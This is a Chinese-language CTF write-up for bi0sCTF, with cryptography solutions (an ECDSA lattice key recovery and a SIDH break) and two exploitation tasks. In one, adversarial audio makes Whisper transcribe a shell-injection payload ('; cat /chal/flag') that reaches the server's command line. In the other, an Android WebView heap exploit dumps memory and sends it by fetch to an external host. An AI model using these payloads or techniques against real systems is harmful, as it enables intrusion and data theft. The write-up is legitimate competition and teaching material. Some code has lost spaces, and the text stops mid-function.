simple_lcg = lambda x: (x * 0xeccd4f4fea74c2b057dafe9c201bae658da461af44b5f04dd6470818429e043d + 0x8aaf15) % self.n
ifnot self.cinit:
RNG_seed = simple_lcg(CORE)
self.n_gen = self.supreme_RNG(RNG_seed)
RNG_gen = next(self.n_gen)
self.cinit += 1
else:
RNG_gen = next(self.n_gen)
p1 = hex(self.real_bits(108))
p2 = hex(self.real_bits(107))[2:]
priv_key = p1 + RNG_gen[:5] + p2 + RNG_gen[5:]
returnint(priv_key, 16)
这里相当于nonce和key都会有已知的部分,求解多个chunk的问题则可以想办法当作HNP问题解决,由于可以拿"perform_deadcoin"选项把血加到160,算上拿flag密文的50血,剩下的110血最多可以签名五次,所以就是5次签名、多段chunk的HNP问题。
实际测一下会发现界稍微有点不够,但是题目的real_bits暗示了这些小量MSB为1,所以可以把这个MSB减掉做优化,这样子每个小量都减少了1bit,这样子做就差不多够了。
这里还能做balance再凹一下,不过既然已经够了就没有再写。
exp:
from Crypto.Util.number import bytes_to_long as b2l
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random.random import getrandbits
from hashlib import sha256
import json
CORE = 0xb4587f9bd72e39c54d77b252f96890f2347ceff5cb6231dfaadb94336df08dfd
p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
a = 0x0000000000000000000000000000000000000000000000000000000000000000
b = 0x0000000000000000000000000000000000000000000000000000000000000007
Gx = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798
Gy = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
h = 0x1
def supreme_RNG(seed: int, length: int = 10):
while True:
str_seed = str(seed) if len(str(seed)) % 2 == 0else'0' + str(seed)
sqn = str(seed**2)
mid = len(str_seed) >> 1
start = (len(sqn) >> 1) - mid
end = (len(sqn) >> 1) + mid
yield sqn[start : end].zfill(length)
seed = int(sqn[start : end])
from pwn import remote, context, process
from ast import literal_eval
context.log_level = "critical"
sh = remote("13.233.255.238", 4002)
#sh = process(["python3", "chall.py"])
#################################################################################################### make blood 160
simple_lcg = lambda x: (x * 0xeccd4f4fea74c2b057dafe9c201bae658da461af44b5f04dd6470818429e043d + 0x8aaf15) % n
RNG_seed = simple_lcg(CORE)
n_gen = supreme_RNG(RNG_seed)
RNG_gen = next(n_gen)
for i in range(3):
sh.recvuntil(b"Expecting Routine in JSON format: ")
msg = {"event": "perform_deadcoin"}
msg = json.dumps(msg).encode()
sh.sendline(msg)
sh.recvuntil(b"deadcoin: (")
power, speed = literal_eval("(" + sh.recvline().strip().decode())
feedbacker_parry = int(next(n_gen))
sh.sendline(str(feedbacker_parry).encode())
#################################################################################################### sign
sigs = []
for i in range(5):
sh.recvuntil(b"Expecting Routine in JSON format: ")
msg = {"event": "call_the_signer"}
msg = json.dumps(msg).encode()
sh.sendline(msg)
sh.recvuntil(b"What do you wish to speak? ")
sh.sendline(b"msg")
sig = literal_eval(sh.recvline().strip().decode())
sigs.append(sig)
#################################################################################################### get flag
sh.recvuntil(b"Expecting Routine in JSON format: ")
msg = {"event": "get_encrypted_flag"}
msg = json.dumps(msg).encode()
sh.sendline(msg)
enc_flag = literal_eval(sh.recvline().strip().decode())
#################################################################################################### handle data
r = []
s = []
benjamin = []
Hmsg = sha256()
Hmsg.update(b"msg")
h = b2l(Hmsg.digest())
for sig in sigs:
r.append(sig["r"])
s.append(sig["s"])
benjamin.append([sig['nonce_gen_consts'][0][1], sig['nonce_gen_consts'][1][1]])
from Crypto.Util.number import *
nums = 5
d_ = int("5455600000000000000000000000000025000", 16) + 2^255
L = Matrix(ZZ, 2+nums*6+1, 2+nums*6+1)
for i in range(nums):
benjamin1, benjamin2 = benjamin[i]
const_list =
shift_list =
noncense = 2^255
forconst, shift in zip(const_list[:-2], shift_list[:-2]):
if(shift not in
noncense += ((2*const+1) << (shift-1))
noncense += (benjamin2 >> 24 & 0xFFF) << 33
noncense += 2^31
ti = noncense
exps = [232, 200, 160, 83, 45][::-1]
Ai1 = r[i]*inverse(s[i], n)*2^20
Ai2 = r[i]*inverse(s[i], n)*2^148
Bi = h*inverse(s[i], n) + r[i]*inverse(s[i], n)*d_ - ti
L[0, 3+nums*5+i] = Ai1
L[1, 3+nums*5+i] = Ai2
L[2, 3+nums*5+i] = Bi
for j in range(5):
L[3+5*i+j, 3+nums*5+i] = -2^exps[j]
L[-i-1, -i-1] = n
for i in range(3+5*nums):
L[i, i] = 1
Q1 = diagonal_matrix(ZZ,
Q2 = diagonal_matrix(ZZ, [2^107]*(2+nums*6+1))
Q = Matrix(ZZ, Q2 / Q1)
L = L * Q
L = L.BKZ(block_size=20)
#L = L.LLL()
L = L / Q
res = list(map(int, L[0]))
d = res[0]*2^20 + (res[1]+2^107)*2^(128+20) + d_
res = list(map(abs, L[0]))
print(res)
print(d)
d = d_ + res[0]*2^20 + res[1]*2^148
c = bytes.fromhex(enc_flag["ciphertext"])
iv = bytes.fromhex(enc_flag["iv"])
sha2 = sha256()
sha2.update(str(d).encode('ascii'))
key = sha2.digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = cipher.decrypt(c)
print(flag)
#bi0sCTF{p4rry_7h15_y0u_f1l7hy_w4r_m4ch1n3}
Baby Isogeny
题目分成了两个部分,分别对应两个flag。
第一部分比较容易,相比于普通的SIDH的公钥外额外给了$phi_A(P_A),phi_A(Q_A)$,由于$P_A + s_AQ_A$是同态核,所以$phi_A(P_A + s_AQ_A) = O$,也就是$phi_A(P_A) + s_Aphi_A(Q_A) = O$,因此在$2^{e_2}$下求个ECDLP即可。
第二部分赛后听说是有个2020年PlaidCTF的原题,不过既然2022年SIDH已经被完全攻破了,那么拿公钥用CD attack就能求出$s_B$来。
> 当然第一部分也可以这么做
exp:
e2, e3 = 216, 137
p = 2**e2 * 3**e3 - 1
F.<i> = GF(p**2, modulus=x^2+1)
E0 = EllipticCurve(F, [0,6,0,1,0])
def generate_torsshn_basis(E, l, e, cofactor):
while True:
P = cofactor * E.random_point()
if (l^(e-1)) * P != 0:
break
while True:
Q = cofactor * E.random_point()
if (l^(e-1)) * Q != 0and P.weil_pairing(Q, l^e) != 1:
break
return P, Q
def comp_iso(E, Ss, ℓ, e):
φ, E1 = None, E
for k in range(e):
R = [ℓ**(e-k-1) * S for S in Ss]
ϕk = E1.isogeny(kernel=R)
Ss = [ϕk(S) for S in Ss]
E1 = ϕk.codomain()
φ = ϕk if φ is None else ϕk * φ
return φ, E1
def j_ex(E, sk, pk, ℓ, e):
φ, _ = comp_iso(E, [pk[0] + sk*pk[1]], ℓ, e)
return φ.codomain().j_invariant()
########################################################################### get data
from pwn import remote, context
context.log_level = "critical"
sh = remote("13.233.255.238", 4004)
def _get_infos(sh):
sh.recvuntil(b'PA:')
PA = eval(sh.recvline().strip())
sh.recvuntil(b'QA:')
QA = eval(sh.recvline().strip())
sh.recvuntil(b'PB:')
PB = eval(sh.recvline().strip())
sh.recvuntil(b'QB:')
QB = eval(sh.recvline().strip())
sh.recvuntil(b'EA invariants:')
EA = eval(sh.recvline().strip())
sh.recvuntil('φAPB:'.encode())
φAPB = eval(sh.recvline().strip())
sh.recvuntil('φAQB:'.encode())
φAQB = eval(sh.recvline().strip())
sh.recvuntil('φAPA:'.encode())
φAPA = eval(sh.recvline().strip())
sh.recvuntil('φAQA:'.encode())
φAQA = eval(sh.recvline().strip())
sh.recvuntil(b'EB invariants:')
EB = eval(sh.recvline().strip())
sh.recvuntil('φBPA:'.encode())
φBPA = eval(sh.recvline().strip())
sh.recvuntil('φBQA:'.encode())
φBQA = eval(sh.recvline().strip())
sh.recvuntil(b'IV1:')
iv1 = bytes.fromhex(sh.recvline().strip().decode())
sh.recvuntil(b'CT1:')
ct1 = bytes.fromhex(sh.recvline().strip().decode())
sh.recvuntil(b'IV2:')
iv2 = bytes.fromhex(sh.recvline().strip().decode())
sh.recvuntil(b'CT2:')
ct2 = bytes.fromhex(sh.recvline().strip().decode())
return (PA, PB, QA, QB, EA, φAPB, φAQB, φAPA, φAQA, EB, φBPA, φBQA, iv1, ct1, iv2, ct2)
PA, PB, QA, QB, EA, φAPB, φAQB, φAPA, φAQA, EB, φBPA, φBQA, iv1, ct1, iv2, ct2 = _get_infos(sh)
EA = EllipticCurve(F, EA)
EB = EllipticCurve(F, EB)
PA = E0(PA[0], PA[1])
PB = E0(PB[0], PB[1])
QA = E0(QA[0], QA[1])
QB = E0(QB[0], QB[1])
φAPB = EA(φAPB[0], φAPB[1])
φAQB = EA(φAQB[0], φAQB[1])
φAPA = EA(φAPA[0], φAPA[1])
φAQA = EA(φAQA[0], φAQA[1])
φBPA = EB(φBPA[0], φBPA[1])
φBQA = EB(φBQA[0], φBQA[1])
########################################################################### part1
from Crypto.Cipher import AES
import hashlib
kA = (-φAPA).log(φAQA)
j1 = j_ex(E0, kA, (PB,QB), 3, e3)
k1 = str(j1).encode()
c = AES.new(hashlib.sha256(k1).digest()[:16], AES.MODE_CBC, iv1)
flag1 = c.decrypt(ct1)
#bi0s{D3c0y_Fl4g}
########################################################################### part2
def senddata(As, R, S):
a1,a2,a3,a4,a6 = As
Rx, Ry = R.xy()
Sx, Sy = S.xy()
sh.sendline(str(a1).encode())
sh.sendline(b"0")
sh.sendline(str(a2).encode())
sh.sendline(b"0")
sh.sendline(str(a3).encode())
sh.sendline(b"0")
sh.sendline(str(a4).encode())
sh.sendline(b"0")
sh.sendline(str(a6).encode())
sh.sendline(b"0")
sh.sendline(str(Rx[0]).encode())
sh.sendline(str(Rx[1]).encode())
sh.sendline(str(Ry[0]).encode())
sh.sendline(str(Ry[1]).encode())
sh.sendline(str(Sx[0]).encode())
sh.sendline(str(Sx[1]).encode())
sh.sendline(str(Sy[0]).encode())
sh.sendline(str(Sy[1]).encode())
for i in range(1):
senddata([0,6,0,1,0], PB, 2^e2*QB)
sh.recvuntil(b"IV? ")
sh.sendline(iv1.hex().encode())
sh.recvuntil(b"CT? ")
sh.sendline(ct1.hex().encode())
print(sh.recvline())
from Crypto.Util.number import *
phiA = E0.isogeny(PA+kA*QA, algorithm="factored")
kA = int(kA)
t = PB.weil_pairing(QB, 3^e3)^(2^e2)
R = φAPB + kA*φAQB
S = φAQB
print(R*3^(e3-1))
print(S*3^(e3-1))
print()
print(R.weil_pairing(S, 3^e3))
print(t)
print()
print(R.weil_pairing(S, 3^e3))
print(S.weil_pairing(R, 3^e3))
cd Castryck-Decru-SageMath
print(EB.a4())
print(EB.a6())
import public_values_aux
from public_values_aux import *
load('castryck_decru_shortcut.sage')
# Set the prime, finite fields and starting curve
# with known endomorphism
a = 216
b = 137
p = 2^a*3^b - 1
Fp2.<i> = GF(p^2, modulus=x^2+1)
E_start = EllipticCurve(Fp2, [0,6,0,1,0])
E_start.set_order((p+1)^2) # Speeds things up in Sage
# Generation of the endomorphism 2i
two_i = generate_distortion_map(E_start)
P = (20690403536392600078465656902710363117843247569466482645756663793753891298992211729087027856554169508141272578660842094566655403137*i + 16313433142637367692941430599385014493404794403854859854624205369306396917751115446704244406178629747993507907228260477430638842437, 13240118368016462653242950463874416865624957755085204302097461557464033306934756775874343949434013431785971080511030152954665862402*i + 17411535874626655815701394530778913744065993420414326942794353796944763296323578071346047073392413629608998374581884523985597354377)
Q = (530290421604148520946715544830479351023444842656600324420383346842445912159381995676722023776390850471037541036852294305111366285*i + 7978202182312829844532329844810170240709820010779101661489823493535583930760282790476527690569585555122507806167461738332415098913, 9922991329381138683325080810474010228379415566956892851628961275695942492131088223134795054195201404510987502283068047090361025256*i + 7885084367545037597233039648187059386852394478247750620454059677001953608069991240451954765847561420172509965496419656761187677200)
R = (13261153378017697106041503751577798380956883188431296135591915933058432093236066874918736134211069523397226431181641578835836853238*i + 23248101494249896278330811123603802113794850422580749159165472836483445458703775047836103274254018347766425268093967693702451092281, 3101345661822552949952717890191601182832890426998183572449836908532397735613856471343047186206447734077168032391261222249622682952*i + 305344612566459501873620338679870170047869393202371566200323473940269441644720528559856038701922600490585653467313350218170730612)
S = (7452048497742668634287348595641254089575576512174819720925569011847695590850703316766765430486619528028227743426727440789865330810*i + 17150498010281396528262267848334546009568339628938964905405951752028488985271343679865260360990549113911411010204267336239355165064, 18642234144947487952387857480395010009139922092084576517645674251833065908792304187628646040711965444040134474013475229083229636569*i + 10492174819244759882470969341652764196312191667726765992091796371720266674517845884620505189554701997905848753024503551180264244994)
P, Q, R, S = map(E_start, (P, Q, R, S))
_phi_dom = EllipticCurve(Fp2, [
0,
6,
0,
(18122192556948301221814159144989245012698418266644753827363944094633027754085427819689040586095693492314207688391207894544072922417*i + 295971526488747107051088633733435681138379590287018721375828742300711170642742254379691464964029797585883155556170625483692068789),
(4320051037787064142025126127083609469727496934356686783898727481014552750412299627658025558254431197695486751787215996779083276555*i + 17361605212809427537704587871472438638342304525240485984893239796611691071089998872533488704749464868644392845805856627129509147334)
])
_phi_dom.set_order((p+1)**2, num_checks=0)
_phi_P = (14738684752814962807194800797694318159529032381678782236634760897186252282789503797467600273775927587387475286539272826003527029282*i + 272328672055623004840998155068789778683534026252648022022754058075704137233383649698095183479894479322384234414398958176519215778, 20298131923383693449505533790926590653708933506785111256562381226779010898198984807924593228995234924398219627655497001433430323059*i + 21000478808521692066527652770372470230350100100283162666533846036044659923118770788633552350843642854059156865830436993637143683785)
_phi_Q = (12716877011508353080047258292068980569124019748393862006936548518884440756079905143183128680766867212146328144556876268022953412650*i + 6580286285719406278564766321573004896757200107686910611705139943727897104248398745630902764660435278907037984581466950390221597033, 17912926769273897120965323283827018931613119952811921777692149835506985915321924018429004045147884985547113900697995147668748084024*i + 22519777481694662787566125886243347890924181732739562798486194766287553495654665402685257207721262217261097832521350175541039703395)
_phi_P, _phi_Q = map(_phi_dom, (_phi_P, _phi_Q))
P2, Q2, P3, Q3 = P, Q, R, S
EB, PB, QB = _phi_dom, _phi_P, _phi_Q
# ===================================
# ===== ATTACK ====================
# ===================================
def RunAttack(num_cores):
return CastryckDecruAttack(E_start, P2, Q2, EB, PB, QB, two_i, num_cores=num_cores)
#recovered_key = SandwichAttack(E_start, P2, Q2, EB, PB, QB, two_i, k=5, alp=0)
recovered_key = RunAttack(num_cores=4)
kB = 34420050193779785329914100515143103901626547439989217662246215969
j2 = j_ex(E0, kB, (PA,QA), 2, e2)
k2 = str(j2).encode()
c = AES.new(hashlib.sha256(k2).digest()[:16], AES.MODE_CBC, iv2)
flag2 = c.decrypt(ct2)
print(flag2)
#bi0s{B4by1s0g3ny_J1nv4r14nt_Pwn}
Misc + AI
dont_whisper
题目是一个AI助手,可以选择文字交流,或者上传音频进行对话。
代码审计发现:
srcchatappapp.py#L134
result = subprocess.run(
[
"python3", "whisper.py", "--model", "tiny.en", audio_file_path,
"--language", "English", "--best_of", "5", "--beam_size", "None"
],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
# Check for errors
if result.returncode != 0:
return JSONResponse(content={"error": "Error processing audio file."}, status_code=500)
transcription = result.stdout.strip()
ifnot transcription:
return JSONResponse(content={"error": "No transcription generated."}, status_code=400)
print("Transcription",transcription)
chatbot_proc = await asyncio.create_subprocess_shell(
f"python3 chatbot.py '{transcription}'",
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.STDOUT
)
chatbot_stdout, chatbot_stderr = await chatbot_proc.communicate()
return JSONResponse(content={"response": chatbot_stdout.decode().strip(), "transcription": transcription})
存在命令拼接,将ASR模型识别的输出直接拼接,从而RCE
在下述代码发现模型输出中,包括了命令拼接所需要的符号:
srcwhispertranscribe.py#49-50
deftranscribe(
model: "Whisper",
audio: Union[str, np.ndarray, torch.Tensor],
*,
verbose: Optional[bool] = None,
temperature: Union[float, Tuple[float, ...]] = (0.0, 0.2, 0.4, 0.6, 0.8, 1.0),
compression_ratio_threshold: Optional[float] = 2.4,
logprob_threshold: Optional[float] = -1.0,
no_speech_threshold: Optional[float] = 0.6,
condition_on_previous_text: bool = True,
initial_prompt: Optional[str] = None,
word_timestamps: bool = False,
prepend_punctuations: str = ""'“¿([{-",
append_punctuations: str = ""'.。,,!!??::”)]}、",
**decode_options,
):
于是尝试构造对抗样本,使得模型输出为
' ; cat /chal/flag'
拼接后变为
python3 chatbot.py '' ; cat /chal/flag''
通过源码(或者论文),whisper模型本质是encoder-decoder结构,大致过程可以描述为
wav_file -> log_mel_spectrogram() -> mel -> pad_or_trim() -> mel_frame -> model.encoder() -> features
token: list -> token[0] = OUTPUT_START -> token[0:i], features -> model.forward() -> token[i] -> if token[i] != OUTPUT_END ? LOOP : BREAK
token -> model.decoder()
进行对抗样本即可,经过尝试采用一个巧妙的方式完成优化。
import torch
from whisper import load_model
from whisper.audio import log_mel_spectrogram, pad_or_trim
from whisper.tokenizer import get_tokenizer
import torchaudio
from torch import nn
DEVICE = "cuda"
target_text = "' ; cat /chal/flag'"
model = load_model("tiny.en")
model.eval()
tokenizer = get_tokenizer(
model.is_multilingual,
num_languages=model.num_languages,
language="en",
task="transcribe",
)
target_tokens = tokenizer.encode(target_text)
target_tokens = target_tokens + [50256]
print(target_tokens)
adv = torch.randn(1, 16000*20, device=DEVICE, requires_grad=True)
optimizer = torch.optim.Adam([adv], lr=0.01)
loss_fn = nn.CrossEntropyLoss()
num_iterations = 50
for i in range(num_iterations):
tokens = torch.tensor([[50257, 50362]], device=DEVICE) # [SOT, EN]
total_loss = 0
for target_token in target_tokens:
optimizer.zero_grad()
mel = log_mel_spectrogram(adv, model.dims.n_mels, padding=16000*30)
mel = pad_or_trim(mel, 3000).to(model.device)
audio_features = model.embed_audio(mel)
logits = model.logits(tokens, audio_features)[:, -1]
loss = loss_fn(logits, torch.tensor([target_token], device=DEVICE))
total_loss += loss
loss.backward()
optimizer.step()
adv.data = adv.data.clamp(-1, 1)
assert adv.max() <= 1and adv.min() >= -1
tokens = torch.cat([tokens, torch.tensor([[target_token]], device=DEVICE)], dim=1)
print(tokens.tolist())
print(f"Iteration {i+1}/{num_iterations}, Loss: {loss.item():.4f}")
torchaudio.save("adversarial.wav", adv.detach().cpu(), 16000)
print("nTranscribing generated adversarial audio:")
result = model.transcribe(adv.detach().cpu().squeeze(0))
print(f"Transcription: {result['text']}")
Pwn
cratecrack
java 层:
package bi0sctf.challenge;
import android.os.Bundle;
import android.webkit.JavascriptInterface;
import androidx.appcompat.app.AppCompatActivity;
/* loaded from: classes.dex */
publicclassMainActivityextendsAppCompatActivity {
publicnativelongaddNote(byte[] bArr);
publicnativevoiddeleteNote(long j);
publicnativevoidedit(byte[] bArr, long j);
publicnativevoidencryption();
publicnative String getContent(long j);
publicnative String getId(long j);
publicnativevoidwhiplash(MainActivity mainActivity);
static {
System.loadLibrary("supernova");
System.loadLibrary("bob");
}
publiclongsecure_addNote(byte[] bArr){
return addNote(bArr);
}
publicvoidsecure_deleteNote(long j){
deleteNote(j);
}
publicvoidsecure_edit(byte[] bArr, long j){
edit(bArr, j);
}
public String secure_getContent(long j){
return getContent(j);
}
public String secure_getId(long j){
return getId(j);
}
publicvoidsecure_encryption(){
encryption();
}
/* JADX INFO: Access modifiers changed from: protected */
// androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
publicvoidonCreate(Bundle bundle){
super.onCreate(bundle);
whiplash(this);
}
}
只有 JavascriptInterface 的定义,实现全在 native 层。先看 onCreate 时调用的 libsupernova.so 中的 whiplash 函数,这个库是用 rust 写的,不过 jnienv.rs 中的 api 调用都没有展开,只看这几个函数的调用即可得到实际的逻辑:
Intentintent= getIntent();
Stringurl= intent.getStringExtra("url");
setContentView(R.layout.activity_main);
WebViewwebview= findViewById(R.id.webView);
WebSettingssettings= webview.getSettings();
settings.setJavaScriptEnabled(true);
settings.setCacheMode(4);
webview.addJavascriptInterface(this, "aespa");
WebViewClientclient1=newWebViewClient();
webview.setWebViewClient(client1);
WebChromeClientclient2=newWebChromeClient();
webview.setWebChromeClient(client2);
webview.loadUrl(url);
拿到 aespa 这个就能在 javascript 中调用 java 函数了。
再看 libbob.so 中对 JavascriptInterface 函数的实现:
jlong __fastcall Java_bi0sctf_challenge_MainActivity_addNote(JNIEnv *env, jobject thiz, jbyteArray ba)
{
jlong v3; // rbx
constchar *v4; // r14
int v5; // eax
char *v6; // rax
v3 = -1LL;
if ( note_count != 10 )
{
v4 = (*env)->GetByteArrayElements(env, ba, 0LL);
if ( strlen(v4) <= 0x1F )
{
v5 = strlen(v4);
v6 = (char *)talloc(v5, v4);
v3 = note_count;
noteBook[note_count] = v6;
note_count = v3 + 1;
}
}
return v3;
}
void __fastcall Java_bi0sctf_challenge_MainActivity_deleteNote(JNIEnv *env, jobject thiz, jlong index)
{
if ( index <= 9 )
{
tree(noteBook[index]);
--note_count;
}
}
void __fastcall Java_bi0sctf_challenge_MainActivity_edit(JNIEnv *env, jobject thiz, jbyteArray ba, jlong id)
{
constchar *v6; // r14
char *v7; // r15
size_t v8; // rax
char *v9; // rbx
if ( id <= 9 && strlen((constchar *)ba) <= 0x1F )
{
v6 = (*env)->GetByteArrayElements(env, ba, 0LL);
v7 = noteBook[id];
v8 = strlen(v6);
memcpy(v7, v6, v8);
if ( strlen(v6) <= 0x1F )
{
v9 = noteBook[id];
v9[strlen(v6)] = 0;
}
}
}
jstring __fastcall Java_bi0sctf_challenge_MainActivity_getId(JNIEnv *env, jobject thiz, jlong idx)
{
char v4[32]; // [rsp+0h] [rbp-38h] BYREF
unsigned __int64 v5; // [rsp+20h] [rbp-18h]
v5 = __readfsqword(0x28u);
if ( idx > 9 )
return"Nice Try";
ull_to_string(v4, *((_QWORD *)noteBook[idx] + 4));
return (*env)->NewStringUTF(env, v4);
}
jstring __fastcall Java_bi0sctf_challenge_MainActivity_getContent(JNIEnv *env, jobject thiz, jlong idx)
{
constchar *v3; // rsi
v3 = "Only for premium users.";
if ( idx >= 10 )
v3 = "lol nice try.";
return (*env)->NewStringUTF(env, v3);
}
自定义堆实现,分配 talloc 、释放 tree ,在此基础上做的菜单堆题,可以增删改以及有限制的查。添加时限制字符串长度小于 0x20 ;删除没限制;改看起来是限制字符串长度小于 0x20 ,实际上第一个 strlen 的参数错了,直接传了个 jbyteArray 类型进去,所以相当于是没限制,这里存在溢出写;查询只能使用 getId ,拿到的是 0x20 偏移处的一个 uint64_t 的值,并以字符串形式返回。
再看自定义堆实现,初始化时 mmap 一段内存后前 0x38 字节作为堆头,后面作为 top_chunk ,这里还有 0x30 和 0x3a63 的赋值,不知道有什么用,不过 0x30 会在后续的 exp 中用到。
之后将判断要分配的 chunk 大小是否大于 0x150 ,如果大于就从 large_bins 中取,否则从 small_bins 中取。这两者都是双向链表,采取的策略是 best fit ,链表是无序的所以需要遍历到 NULL 或者遍历的次数达到 20 。
如果链表中存在符合的 chunk ,那么不分割直接解链;否则从 topchunk 中分配:
每个 chunk 第一个 _QWORD 为 chunk_size ,最低位为 use 位;当 chunk 分配出去后, chunk_size 最低位置为 1 ,用户数据从 0x8 的偏移处开始存放;当 chunk 被 free 时,如果后一个块是 topchunk ,那么直接合并:
否则根据 chunk_size 与 0x100 比较的结果头插入 small_bins 或 large_bins 中(与分配时的大小判断不一样,不过无所谓,本题只用到 small_bins ), 0x8 偏移处依次存放 next 与 prev 指针:
有 edit 的任意溢出,那么覆盖 next 指针后就可以任意分配,不过前提是 next 指针指向的位置的前一个 _QWORD 必须是一个比目标 chunksize 大的偶数,初始化时赋值的 0x30 这个值就刚好可以用到,并且 0x30 后面正好就是 small_bins 和 large_bins ,这一段分配出来之后就可以完全控制 small_bins 从而更简单的任意分配。
不过这整段内存都是 mmap 出来的,上面只存放了这段内存里的地址,无法泄露到其它空间,所以只能实现在这段内存上的任意读写。题目中还有一个 encryption 函数,这个函数里对 flag 做了一些密码学算法,之后通过 talloc 将运算结果保存在了自定义堆上:
所以目标很明显,用任意读泄露出运算结果后就是个密码学问题了。
堆漏洞的 exp :
<!DOCTYPE html>
<htmllang="UTF-8">
<scripttype="text/javascript">
functionsecure_char_at(s, i) {
if (i < 0 || i >= s.length) {
thrownew Error("invalid index: " + i);
}
let c = s.charCodeAt(i);
if (c < 0 || c >= 0x100) {
thrownew Error("invalid charcode: " + c);
}
return c;
}
functionstring_to_uint8array(s){
arr = newUint8Array(s.length);
for (let i = 0; i < s.length; i++) {
arr[i] = secure_char_at(s, i);
}
return arr;
}
functioncreate(s){
return aespa.secure_addNote(string_to_uint8array(s));
}
functiondelet(idx){
aespa.secure_deleteNote(idx);
}
functionedit(idx, s){
if (s.lastIndexOf("x00") >= 0x20) {
thrownew Error("null byte");
}
let null_index = s.indexOf("x00");
if (null_index == -1) {
aespa.secure_edit(string_to_uint8array(s + "x00"), idx);
} else {
const padding = "0123456789abcdef0123456789abcdef";
// call edit recursive to put all null bytes
edit(idx, padding.substring(0, null_index + 1) + s.substring(null_index + 1));
aespa.secure_edit(string_to_uint8array(s.substring(0, null_index) + "x00"), idx);
}
}
functiongetId(idx){
return aespa.secure_getId(idx);
}
functionencryption(){
aespa.secure_encryption();
}
functionprint_to_screen(s){
document.write("" + s);
document.write("<br>");
}
functionto_hex(s){
// if (s.length == 0) {
// return "(empty)"
// }
const table = "0123456789abcdef";
var t = "";
for (let i = 0; i < s.length; i++) {
let c = secure_char_at(s, i);
t += table[c >> 4];
t += table[c & 15];
}
// return '"' + t + '"';
return t;
}
functionp64(bn){
let b = BigInt(bn);
var s = "";
for (let i = 0; i < 8; i++) {
s += String.fromCharCode(Number(b & 0xffn));
b = b >> 8n;
}
return s;
}
functionstrip_null(s){
var index = s.length;
while (index > 0 && s[index - 1] == "x00") {
index--;
}
return s.substring(0, index);
}
functionzero_range(idx, start_offset, end_offset){
if (start_offset > end_offset || end_offset > 0x20) {
thrownew Error("bad offset");
}
const padding = "0123456789abcdef0123456789abcdef";
for (let i = end_offset - 1; i >= start_offset; i--) {
edit(idx, padding.substring(0, i));
}
}
print_to_screen("exp begin");
try {
// header: 0x00-0x38
// idx0: 0x38-0x58
var idx0 = create("aaa"); // 0x40
// idx1: 0x58-0x78
var idx1 = create("bbb"); // 0x60
// idx2: 0x78-0x98
var idx2 = create("ccc"); // 0x80
// idx3: 0x98-0xb8
var idx3 = create("ddd"); // 0xa0
// idx3: 0xb8-0xd8
var idx4 = create("eee"); // 0xc0
// top = 0xd8
delet(idx3);
delet(idx1);
// print_to_screen(BigInt(getId(idx0)));
var mem_base = BigInt(getId(idx0)) - 0xa0n;
print_to_screen("memory base = " + mem_base.toString(16));
if ((mem_base & 0xfffn) != 0n) {
thrownew Error("bad memory base");
}
edit(idx1, strip_null(p64(mem_base + 0x10n)));
// print_to_screen(BigInt(getId(idx0)).toString(16));
var idx5 = create("0123456789abcdef0123456789abcde");
// print_to_screen(BigInt(getId(idx0)).toString(16));
zero_range(idx5, 0, 8);
// idx6: 0xd8-0xf8
var idx6 = create("fff"); // 0xe0
// idx7: 0xf8-0x118
var idx7 = create("ggg"); // 0x100
// top = 0x118
// var idx8 = create("abcdefghijklmnopqrstuvwxyz");
encryption();
zero_range(idx6, 0x0a, 0x20);
edit(idx6, "01234567x20");
var memdump = "";
for (let i = 0n; i < 0x180n; i += 8n) {
edit(idx5, strip_null(p64(mem_base + 0xf0n + i)));
var tmp_idx = create("???");
var tmp_mem = to_hex(p64(BigInt(getId(tmp_idx))));
print_to_screen(tmp_mem);
memdump += tmp_mem
delet(tmp_idx);
zero_range(tmp_idx, 0x02, 0x18);
edit(tmp_idx, "x20");
}
// replace with your server's host:port
fetch("http://192.168.0.108:8000/test?memdump=" + memdump);
} catch (e) {
print_to_screen(e);
}
print_to_screen("exp end");
</script>
</body>
</html>
后续进一步即使用2组 ECDSA 签名中的 nonce 差值是一个已知的值进行求解即可
两式相互减后得到
未知变量仅为 $x$,直接求解即可恢复私钥,后续直接解密flag即可。
在源码处理过程中,secp256k1库为了防止“交易延展性”(transaction malleability)攻击,该库强制执行了 “low-s” 规则。这意味着,如果计算出的签名 s 值大于椭圆曲线阶数 n 的一半,库会自动将其转换为 n - s。因此需要做相关的操作获取真正的s1,s2。
from hashlib import sha256
from Crypto.Cipher import AES
from ecdsa.curves import SECP256k1
from ecdsa.numbertheory importinverse_mod
d1= sha256(
b"Lord, grant me the strength to accept the things I cannot change; Courage to change the things I can; And wisdom to know the difference."
).digest()
d2 = sha256(b"Wherever There Is Light, There Are Always Shadows").digest()
memdump = bytes.fromhex("000000000000000051000000000000008e9bbc21680bfc6c63cf16b285b46e746bfb9c705e5a90ede5cdc1aa70c2242dce64375dbcf2d5627d1533c4ee6a01ac46527dc751ff565cc03dabf9cfe4ba7a000000000000000051000000000000008455ecf7dbee51e7e7643c14d95c8255749197f4192393241b56533704a07667f78af581ef0ca39ad10f4ca7307139acc61606766ee1d9553448ed8cc8c4d359000000000000000051000000000000009fadd3253280d61856496834bcc6918bf4983431ea66c2cd49391f2d7c1ecc19c2dd081691063b887a50785ed7b1debede30f2c7e2470d0cdee59c13ded00275000000000000000051000000000000007d976e90df20b2ee2413816cc8dd5eb4e218a705938dfb02f8d643e19bac2628ffa52f63cd12b8d28d77f57bfb81ecc008a153dadf41bf064940dd69bc9f17056700000000000000a80d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")
sign1 = memdump[0x10:0x50]
sign2 = memdump[0x60:0xA0]
encrypted_flag = memdump[0xB0:0xF0+0x20]
def recover_seckey():
n = SECP256k1.order
r1=int.from_bytes(sign1[:32], "little")
s1 = int.from_bytes(sign1[32:64], "little")
r2 = int.from_bytes(sign2[:32], "little")
s2 = int.from_bytes(sign2[32:64], "little")
